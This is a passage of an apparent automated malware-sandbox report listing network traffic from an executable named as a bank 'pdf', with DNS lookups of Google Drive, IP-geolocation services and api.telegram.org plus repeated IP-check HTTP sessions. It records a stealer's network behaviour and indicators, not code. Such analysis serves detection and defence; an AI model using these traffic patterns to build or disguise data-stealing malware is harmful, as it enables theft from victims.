                                                                                                          Dec 3, 2024 10:08:37.226890087 CET44349903149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:37.259972095 CET4990080192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:38.695303917 CET44349903149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:38.697222948 CET49903443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:38.697246075 CET44349903149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:38.697369099 CET49903443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:38.697375059 CET44349903149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:39.356333971 CET44349903149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:39.356410027 CET44349903149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:39.356604099 CET49903443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:39.357029915 CET49903443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:39.359951019 CET4990080192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:39.360968113 CET4990980192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:39.480211973 CET8049900193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:39.480278015 CET4990080192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:39.480870008 CET8049909193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:39.480942011 CET4990980192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:39.481106997 CET4990980192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:39.601067066 CET8049909193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:40.669373989 CET8049909193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:40.696718931 CET49913443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:40.696785927 CET44349913149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:40.696892977 CET49913443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:40.703758955 CET49913443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:40.703777075 CET44349913149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:40.713079929 CET4990980192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:42.110208035 CET44349913149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:42.111902952 CET49913443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:42.111927032 CET44349913149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:42.111968040 CET49913443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:42.111977100 CET44349913149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:42.748802900 CET44349913149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:42.748900890 CET44349913149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:42.748953104 CET49913443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:42.749382973 CET49913443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:42.752367973 CET4990980192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:42.753441095 CET4991980192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:42.872672081 CET8049909193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:42.872749090 CET4990980192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:42.873342991 CET8049919193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:42.873428106 CET4991980192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:42.873558998 CET4991980192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:42.993369102 CET8049919193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:44.015513897 CET8049919193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:44.017005920 CET49922443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:44.017044067 CET44349922149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:44.017132998 CET49922443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:44.017411947 CET49922443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:44.017426014 CET44349922149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:44.057054996 CET4991980192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:45.424751997 CET44349922149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:45.427303076 CET49922443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:45.427334070 CET44349922149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:45.427419901 CET49922443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:45.427424908 CET44349922149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:46.059392929 CET44349922149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:46.059484959 CET44349922149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:46.059540987 CET49922443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:46.060249090 CET49922443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:46.071611881 CET4991980192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:46.072597027 CET4992780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:46.191939116 CET8049919193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:46.192012072 CET4991980192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:46.192475080 CET8049927193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:46.192540884 CET4992780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:46.196389914 CET4992780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:46.316418886 CET8049927193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:47.381109953 CET8049927193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:47.382405043 CET49933443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:47.382425070 CET44349933149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:47.382503033 CET49933443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:47.382808924 CET49933443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:47.382822037 CET44349933149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:47.431900024 CET4992780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:48.837893009 CET44349933149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:48.839405060 CET49933443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:48.839421034 CET44349933149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:48.839587927 CET49933443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:48.839592934 CET44349933149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:49.558690071 CET44349933149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:49.558767080 CET44349933149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:49.558814049 CET49933443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:49.565958977 CET49933443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:49.580900908 CET4992780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:49.582788944 CET4993880192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:49.701293945 CET8049927193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:49.701347113 CET4992780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:49.702671051 CET8049938193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:49.702742100 CET4993880192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:49.702931881 CET4993880192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:49.822797060 CET8049938193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:51.071820974 CET8049938193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:51.073708057 CET49942443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:51.073725939 CET44349942149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:51.073792934 CET49942443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:51.074131012 CET49942443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:51.074142933 CET44349942149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:51.119457006 CET4993880192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:52.484857082 CET44349942149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:52.486308098 CET49942443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:52.486325026 CET44349942149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:52.486373901 CET49942443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:52.486381054 CET44349942149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:53.121051073 CET44349942149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:53.121633053 CET44349942149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:53.121692896 CET49942443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:53.122088909 CET49942443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:53.125890970 CET4993880192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:53.126471996 CET4994780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:53.246160984 CET8049938193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:53.246226072 CET4993880192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:53.246556044 CET8049947193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:53.246634007 CET4994780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:53.246826887 CET4994780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:53.366715908 CET8049947193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:54.447940111 CET8049947193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:54.451680899 CET49951443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:54.451704979 CET44349951149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:54.451787949 CET49951443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:54.452049971 CET49951443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:54.452064037 CET44349951149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:54.494431973 CET4994780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:55.816524982 CET44349951149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:55.818135023 CET49951443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:55.818164110 CET44349951149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:55.818227053 CET49951443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:55.818234921 CET44349951149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:56.452549934 CET44349951149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:56.452641010 CET44349951149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:56.452704906 CET49951443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:56.453161955 CET49951443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:56.456420898 CET4994780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:56.457542896 CET4995780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:56.576567888 CET8049947193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:56.576653004 CET4994780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:56.577403069 CET8049957193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:56.577478886 CET4995780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:56.577637911 CET4995780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:56.697557926 CET8049957193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:57.719907045 CET8049957193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:57.721332073 CET49961443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:57.721340895 CET44349961149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:57.721499920 CET49961443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:57.721918106 CET49961443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:57.721932888 CET44349961149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:57.760026932 CET4995780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:59.132040024 CET44349961149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:59.134321928 CET49961443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:59.134351015 CET44349961149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:59.134402990 CET49961443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:59.134407997 CET44349961149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:59.770325899 CET44349961149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:59.770462990 CET44349961149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:59.770517111 CET49961443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:59.770960093 CET49961443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:59.773785114 CET4995780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:59.774868011 CET4996680192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:59.894021034 CET8049957193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:59.894287109 CET4995780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:59.894761086 CET8049966193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:59.894845963 CET4996680192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:59.894996881 CET4996680192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:09:00.014884949 CET8049966193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:09:01.097229958 CET8049966193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:09:01.099020004 CET49970443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:09:01.099050999 CET44349970149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:09:01.099138021 CET49970443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:09:01.099436998 CET49970443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:09:01.099455118 CET44349970149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:09:01.150566101 CET4996680192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:09:02.518564939 CET44349970149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:09:02.572455883 CET49970443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:09:03.632581949 CET49970443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:09:03.632611036 CET44349970149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:09:03.632658958 CET49970443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:09:03.632668018 CET44349970149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:09:04.369224072 CET44349970149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:09:04.369313002 CET44349970149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:09:04.369371891 CET49970443192.168.2.5149.154.167.220
                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                          Dec 3, 2024 10:07:52.161222935 CET4982153192.168.2.51.1.1.1
                                                                                                          Dec 3, 2024 10:07:52.299455881 CET53498211.1.1.1192.168.2.5
                                                                                                          Dec 3, 2024 10:07:55.006166935 CET5004853192.168.2.51.1.1.1
                                                                                                          Dec 3, 2024 10:07:55.143876076 CET53500481.1.1.1192.168.2.5
                                                                                                          Dec 3, 2024 10:08:00.375009060 CET5759253192.168.2.51.1.1.1
                                                                                                          Dec 3, 2024 10:08:00.520926952 CET53575921.1.1.1192.168.2.5
                                                                                                          Dec 3, 2024 10:08:03.104756117 CET6052053192.168.2.51.1.1.1
                                                                                                          Dec 3, 2024 10:08:03.457077980 CET53605201.1.1.1192.168.2.5
                                                                                                          Dec 3, 2024 10:08:10.842678070 CET5953453192.168.2.51.1.1.1
                                                                                                          Dec 3, 2024 10:08:10.981194019 CET53595341.1.1.1192.168.2.5
                                                                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                          Dec 3, 2024 10:07:52.161222935 CET192.168.2.51.1.1.10xd1bdStandard query (0)drive.google.comA (IP address)IN (0x0001)false
                                                                                                          Dec 3, 2024 10:07:55.006166935 CET192.168.2.51.1.1.10xfd3aStandard query (0)drive.usercontent.google.comA (IP address)IN (0x0001)false
                                                                                                          Dec 3, 2024 10:08:00.375009060 CET192.168.2.51.1.1.10x50faStandard query (0)checkip.dyndns.orgA (IP address)IN (0x0001)false
                                                                                                          Dec 3, 2024 10:08:03.104756117 CET192.168.2.51.1.1.10xcd8cStandard query (0)reallyfreegeoip.orgA (IP address)IN (0x0001)false
                                                                                                          Dec 3, 2024 10:08:10.842678070 CET192.168.2.51.1.1.10x88b0Standard query (0)api.telegram.orgA (IP address)IN (0x0001)false
                                                                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                          Dec 3, 2024 10:07:52.299455881 CET1.1.1.1192.168.2.50xd1bdNo error (0)drive.google.com172.217.19.174A (IP address)IN (0x0001)false
                                                                                                          Dec 3, 2024 10:07:55.143876076 CET1.1.1.1192.168.2.50xfd3aNo error (0)drive.usercontent.google.com142.250.181.33A (IP address)IN (0x0001)false
                                                                                                          Dec 3, 2024 10:08:00.520926952 CET1.1.1.1192.168.2.50x50faNo error (0)checkip.dyndns.orgcheckip.dyndns.comCNAME (Canonical name)IN (0x0001)false
                                                                                                          Dec 3, 2024 10:08:00.520926952 CET1.1.1.1192.168.2.50x50faNo error (0)checkip.dyndns.com193.122.130.0A (IP address)IN (0x0001)false
                                                                                                          Dec 3, 2024 10:08:00.520926952 CET1.1.1.1192.168.2.50x50faNo error (0)checkip.dyndns.com132.226.8.169A (IP address)IN (0x0001)false
                                                                                                          Dec 3, 2024 10:08:00.520926952 CET1.1.1.1192.168.2.50x50faNo error (0)checkip.dyndns.com158.101.44.242A (IP address)IN (0x0001)false
                                                                                                          Dec 3, 2024 10:08:00.520926952 CET1.1.1.1192.168.2.50x50faNo error (0)checkip.dyndns.com132.226.247.73A (IP address)IN (0x0001)false
                                                                                                          Dec 3, 2024 10:08:00.520926952 CET1.1.1.1192.168.2.50x50faNo error (0)checkip.dyndns.com193.122.6.168A (IP address)IN (0x0001)false
                                                                                                          Dec 3, 2024 10:08:03.457077980 CET1.1.1.1192.168.2.50xcd8cNo error (0)reallyfreegeoip.org172.67.177.134A (IP address)IN (0x0001)false
                                                                                                          Dec 3, 2024 10:08:03.457077980 CET1.1.1.1192.168.2.50xcd8cNo error (0)reallyfreegeoip.org104.21.67.152A (IP address)IN (0x0001)false
                                                                                                          Dec 3, 2024 10:08:10.981194019 CET1.1.1.1192.168.2.50x88b0No error (0)api.telegram.org149.154.167.220A (IP address)IN (0x0001)false
                                                                                                          • drive.google.com
                                                                                                          • drive.usercontent.google.com
                                                                                                          • reallyfreegeoip.org
                                                                                                          • api.telegram.org
                                                                                                          • checkip.dyndns.org
                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          0192.168.2.549807193.122.130.0801292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          Dec 3, 2024 10:08:00.646189928 CET151OUTGET / HTTP/1.1
                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                          Host: checkip.dyndns.org
                                                                                                          Connection: Keep-Alive
                                                                                                          Dec 3, 2024 10:08:01.968810081 CET321INHTTP/1.1 200 OK
                                                                                                          Date: Tue, 03 Dec 2024 09:08:01 GMT
                                                                                                          Content-Type: text/html
                                                                                                          Content-Length: 104
                                                                                                          Connection: keep-alive
                                                                                                          Cache-Control: no-cache
                                                                                                          Pragma: no-cache
                                                                                                          X-Request-ID: e5d86a015f503e2125c01003690a96e7
                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
                                                                                                          Dec 3, 2024 10:08:01.973212004 CET127OUTGET / HTTP/1.1
                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                          Host: checkip.dyndns.org
                                                                                                          Dec 3, 2024 10:08:02.302242994 CET321INHTTP/1.1 200 OK
                                                                                                          Date: Tue, 03 Dec 2024 09:08:02 GMT
                                                                                                          Content-Type: text/html
                                                                                                          Content-Length: 104
                                                                                                          Connection: keep-alive
                                                                                                          Cache-Control: no-cache
                                                                                                          Pragma: no-cache
                                                                                                          X-Request-ID: c5c174ba62566de2ca4f74ed7e0b5aeb
                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
                                                                                                          Dec 3, 2024 10:08:10.509001017 CET127OUTGET / HTTP/1.1
                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                          Host: checkip.dyndns.org
                                                                                                          Dec 3, 2024 10:08:10.838803053 CET321INHTTP/1.1 200 OK
                                                                                                          Date: Tue, 03 Dec 2024 09:08:10 GMT
                                                                                                          Content-Type: text/html
                                                                                                          Content-Length: 104
                                                                                                          Connection: keep-alive
                                                                                                          Cache-Control: no-cache
                                                                                                          Pragma: no-cache
                                                                                                          X-Request-ID: b1e322f3d1618e5e254cf62dea3de334
                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          1192.168.2.549837193.122.130.0801292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          Dec 3, 2024 10:08:13.334702015 CET127OUTGET / HTTP/1.1
                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                          Host: checkip.dyndns.org
                                                                                                          Dec 3, 2024 10:08:14.547318935 CET321INHTTP/1.1 200 OK
                                                                                                          Date: Tue, 03 Dec 2024 09:08:14 GMT
                                                                                                          Content-Type: text/html
                                                                                                          Content-Length: 104
                                                                                                          Connection: keep-alive
                                                                                                          Cache-Control: no-cache
                                                                                                          Pragma: no-cache
                                                                                                          X-Request-ID: 6707fcc89b93afc98abc54c383f79c1b
                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          2192.168.2.549848193.122.130.0801292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          Dec 3, 2024 10:08:16.697962999 CET151OUTGET / HTTP/1.1
                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                          Host: checkip.dyndns.org
                                                                                                          Connection: Keep-Alive
                                                                                                          Dec 3, 2024 10:08:18.319653988 CET321INHTTP/1.1 200 OK
                                                                                                          Date: Tue, 03 Dec 2024 09:08:18 GMT
                                                                                                          Content-Type: text/html
                                                                                                          Content-Length: 104
                                                                                                          Connection: keep-alive
                                                                                                          Cache-Control: no-cache
                                                                                                          Pragma: no-cache
                                                                                                          X-Request-ID: 471928f727c6c009f02af40f22b17584
                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          3192.168.2.549857193.122.130.0801292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          Dec 3, 2024 10:08:20.811891079 CET151OUTGET / HTTP/1.1
                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                          Host: checkip.dyndns.org
                                                                                                          Connection: Keep-Alive
                                                                                                          Dec 3, 2024 10:08:22.804289103 CET321INHTTP/1.1 200 OK
                                                                                                          Date: Tue, 03 Dec 2024 09:08:22 GMT
                                                                                                          Content-Type: text/html
                                                                                                          Content-Length: 104
                                                                                                          Connection: keep-alive
                                                                                                          Cache-Control: no-cache
                                                                                                          Pragma: no-cache
                                                                                                          X-Request-ID: eb23bb13ed1c8e4665affe40db243434
                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          4192.168.2.549869193.122.130.0801292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
